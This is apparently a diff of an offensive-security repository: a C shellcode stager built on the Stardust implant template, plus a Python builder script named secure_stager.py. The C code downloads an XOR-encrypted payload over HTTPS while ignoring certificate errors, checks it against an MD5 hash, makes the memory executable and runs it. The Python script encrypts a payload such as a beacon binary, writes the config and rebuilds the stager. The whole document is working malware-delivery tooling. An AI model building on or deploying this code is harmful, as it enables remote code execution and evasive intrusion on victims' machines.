PCHAR md5 = NULL;
int iMatch = -1;
// Initialize WinINet
if ( ! ( hInternet = Instance()->Win32.InternetOpenA( useragent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 ) ) )
goto cleanup;
// Connect to site
if ( ! ( hConnect = Instance()->Win32.InternetConnectA( hInternet, URL, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL ) ) )
goto cleanup;
// Create request
if ( ! ( hRequest = Instance()->Win32.HttpOpenRequestA( hConnect, "GET", URI, NULL, NULL, acceptTypes, INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE, 0 ) ) )
goto cleanup;
// Send request
if ( ! ( Instance()->Win32.HttpSendRequestA( hRequest, NULL, 0, NULL, NULL ) ) )
{
// If request fails due to invalid CA, set internet options to ignore unknown, invalid, or out of date certs
if ( Instance()->Win32.GetLastError() == ERROR_INTERNET_INVALID_CA )
{
Instance()->Win32.InternetQueryOptionA( hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwFlagsLen );
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
Instance()->Win32.InternetSetOptionA( hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof ( dwFlags ) );
// Retry request
if ( ! ( Instance()->Win32.HttpSendRequestA( hRequest, NULL, 0, NULL, NULL ) ) )
goto cleanup;
}
else
goto cleanup;
}
// Retrieve length of response
if ( ! ( Instance()->Win32.HttpQueryInfoA( hRequest, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER , &dwBufLen, &dwSize, NULL ) ) )
goto cleanup;
// Allocate buffer
if ( ! ( pBuffer = Instance()->Win32.VirtualAlloc( NULL, dwBufLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) )
goto cleanup;
// Read payload
while (bKeepReading && dwBytesRead != 0) {
bKeepReading = Instance()->Win32.InternetReadFile( hRequest, pBuffer, dwBufLen, &dwBytesRead );
}
// XOR decrypt payload
Xor( pBuffer, dwBufLen );
// Check MD5 hash
if ( bAcquireSuccess = Instance()->Win32.CryptAcquireContext( &hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT ) )
if ( bCreateSuccess = Instance()->Win32.CryptCreateHash( hProv, CALG_MD5, 0, 0, &hHash ) )
if ( Instance()->Win32.CryptHashData( hHash, pBuffer, dwBufLen, 0 ) )
if ( Instance()->Win32.CryptGetHashParam( hHash, HP_HASHVAL, bRawHash, &dwHashLen, 0 ) )
{
// Assemble final hash
md5 = Instance()->Win32.calloc(dwHashLen * 2, sizeof(char));
for (DWORD i = 0; i < dwHashLen; i++)
Instance()->Win32.sprintf(&md5[i * 2], "%c%c", charset[bRawHash[i] >> 4], charset[bRawHash[i] & 0xf]);
}
cleanup:
// Close internet handles
if (hInternet)
Instance()->Win32.InternetCloseHandle(hInternet);
if (hConnect)
Instance()->Win32.InternetCloseHandle(hInternet);
if (hRequest)
Instance()->Win32.InternetCloseHandle(hInternet);
// Clean up crypto
if (bAcquireSuccess)
Instance()->Win32.CryptReleaseContext(hProv, 0);
if (bCreateSuccess)
Instance()->Win32.CryptDestroyHash(hHash);
// If a hash was generated
if (md5)
{
// Compare hardcoded MD5 sum against downloaded data
iMatch = Instance()->Win32.strcmp(md5, MD5HASH);
// Wipe + free buffer
Instance()->Win32.memset(md5, 0, dwHashLen * 2);
Instance()->Win32.free(md5);
// If hashes match spawn shellcode
if ( iMatch == 0)
{
DWORD dwOldProtect;
Instance()->Win32.VirtualProtect(pBuffer, dwBufLen, PAGE_EXECUTE_READ, &dwOldProtect);
(*(int(*)()) pBuffer)();
}
// Otherwise wipe buffer
else
{
Instance()->Win32.memset(pBuffer, 0, dwBufLen);
Instance()->Win32.VirtualFree(pBuffer, 9, MEM_RELEASE);
}
return;
}
}
+83
View File
@@ -0,0 +1,83 @@
#include <Common.h>
#include <Constexpr.h>
ST_GLOBAL PVOID __Instance = C_PTR( 'rdp5' );
EXTERN_C FUNC VOID PreMain(
PVOID Param
) {
INSTANCE Stardust = { 0 };
PVOID Heap = { 0 };
PVOID MmAddr = { 0 };
SIZE_T MmSize = { 0 };
ULONG Protect = { 0 };
MmZero( & Stardust, sizeof( Stardust ) );
//
// get the process heap handle from Peb
//
Heap = NtCurrentPeb()->ProcessHeap;
//
// get the base address of the current implant in memory and the end.
// subtract the implant end address with the start address you will
// get the size of the implant in memory
//
Stardust.Base.Buffer = StRipStart();
Stardust.Base.Length = U_PTR( StRipEnd() ) - U_PTR( Stardust.Base.Buffer );
//
// get the offset and address of our global instance structure
//
MmAddr = Stardust.Base.Buffer + InstanceOffset();
MmSize = sizeof( PVOID );
//
// resolve ntdll!RtlAllocateHeap and ntdll!NtProtectVirtualMemory for
// updating/patching the Instance in the current memory
//
if ( ( Stardust.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) ) {
if ( ! ( Stardust.Win32.RtlAllocateHeap = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "RtlAllocateHeap" ) ) ) ||
! ( Stardust.Win32.NtProtectVirtualMemory = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "NtProtectVirtualMemory" ) ) )
) {
return;
}
}
//
// change the protection of the .global section page to RW
// to be able to write the allocated instance heap address
//
if ( ! NT_SUCCESS( Stardust.Win32.NtProtectVirtualMemory(
NtCurrentProcess(),
& MmAddr,
& MmSize,
PAGE_READWRITE,
& Protect
) ) ) {
return;
}
//
// assign heap address into the RW memory page
//
if ( ! ( C_DEF( MmAddr ) = Stardust.Win32.RtlAllocateHeap( Heap, HEAP_ZERO_MEMORY, sizeof( INSTANCE ) ) ) ) {
return;
}
//
// copy the local instance into the heap,
// zero out the instance from stack and
// remove RtRipEnd code/instructions as
// they are not needed anymore
//
MmCopy( C_DEF( MmAddr ), &Stardust, sizeof( INSTANCE ) );
MmZero( & Stardust, sizeof( INSTANCE ) );
MmZero( C_PTR( U_PTR( MmAddr ) + sizeof( PVOID ) ), 0x18 );
//
// now execute the implant entrypoint
//
Main( Param );
}
+52
View File
@@ -0,0 +1,52 @@
#include <Common.h>
/*!
* @brief
* Hashing data
*
* @param String
* Data/String to hash
*
* @param Length
* size of data/string to hash.
* if 0 then hash data til null terminator is found.
*
* @return
* hash of specified data/string
*/
FUNC ULONG HashString(
_In_ PVOID String,
_In_ SIZE_T Length
) {
ULONG Hash = { 0 };
PUCHAR Ptr = { 0 };
UCHAR Char = { 0 };
if ( ! String ) {
return 0;
}
Hash = H_MAGIC_KEY;
Ptr = ( ( PUCHAR ) String );
do {
Char = *Ptr;
if ( ! Length ) {
if ( ! *Ptr ) break;
} else {
if ( U_PTR( Ptr - U_PTR( String ) ) >= Length ) break;
if ( !*Ptr ) ++Ptr;
}
if ( Char >= 'a' ) {
Char -= 0x20;
}
Hash = ( ( Hash << 5 ) + Hash ) + Char;
++Ptr;
} while ( TRUE );
return Hash;
}
+95
View File
@@ -0,0 +1,95 @@
#!/usr/bin/env python3
import sys
import os
import hashlib
import subprocess
from urllib.parse import urlparse
def xor(binary_blob, key):
# Convert the key to bytes
key_bytes = key.encode()
# Perform XOR encryption
encrypted = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(binary_blob):
# XOR the byte with the corresponding byte from the key (cyclically)
encrypted.append(byte ^ key_bytes[i % key_length])
return bytes(encrypted)
# Validate args
if len(sys.argv) < 3:
print("Usage: ./secure_stager.py </path/to/raw/file> <HTTPS url that stage will be hosted at>")
print("Example: ./secure_stager.py /home/kali/beacon_x64.bin https://www.myhostingdomain.com/aboutus")
sys.exit()
# Set working directory to this scripts location
os.chdir(os.path.dirname(os.path.abspath(__file__)))
# Grab path that shellcode was saved to
outdir = os.path.dirname(sys.argv[1])
if not outdir:
outdir = "."
# Validate and parse URL
url = urlparse(sys.argv[2])
if not all([url.scheme, url.netloc, url.path]):
print("[-] Invalid URL supplied! Example: https://yourhostingsite.com/query.txt")
sys.exit()
elif url.scheme != "https":
print("[-] Secure stager only supports https connections!")
sys.exit()
# Read in raw payload
try:
with open(sys.argv[1], mode='rb') as file: # b is important -> binary
stage = file.read()
except FileNotFoundError:
print(f"Cannot locate {sys.argv[1]}.")
sys.exit()
# Set filename vars to be used throughout the rest of program
original_stage = f"{outdir}{url.path}_original"
enc_stage = f"{outdir}{url.path}"
stager = f"{outdir}{url.path}_stager.bin"
# Rename original raw payload
os.rename(sys.argv[1], original_stage)
# Calculate MD5 hash of raw payload
stage_md5 = hashlib.md5(stage).hexdigest()
# XOR raw payload with md5 hash
xor_stage = xor(stage, stage_md5)
# Write xor'd payload to disk
with open(enc_stage, mode='wb') as file:
file.write(xor_stage)
# Write config file
with open("Stardust/include/Config.h", mode ='w') as file:
file.write(f"#define MD5HASH \"{stage_md5}\"\n")
file.write(f"#define URL \"{url.netloc}\"\n")
file.write(f"#define URI \"{url.path}\"")
# Recompile Stardust
# Call in loop because sometimes compilation fails due to race condition
while True:
try:
build_ret = subprocess.run(["make", "-C", "Stardust"], capture_output=True, text=True, check=True)
break
except subprocess.CalledProcessError:
pass
# Rename stager
os.rename("Stardust/bin/stardust.x64.bin", stager)
# Print info
print("[SECURE STAGER]")
print(f"Original payload hash: {stage_md5}")
print(f"Original payload renamed to {original_stage}")
print(f"Encrypted payload saved as {enc_stage} | Serve this file at {sys.argv[2]}")
print(f"Secure stager generated and saved as {stager}")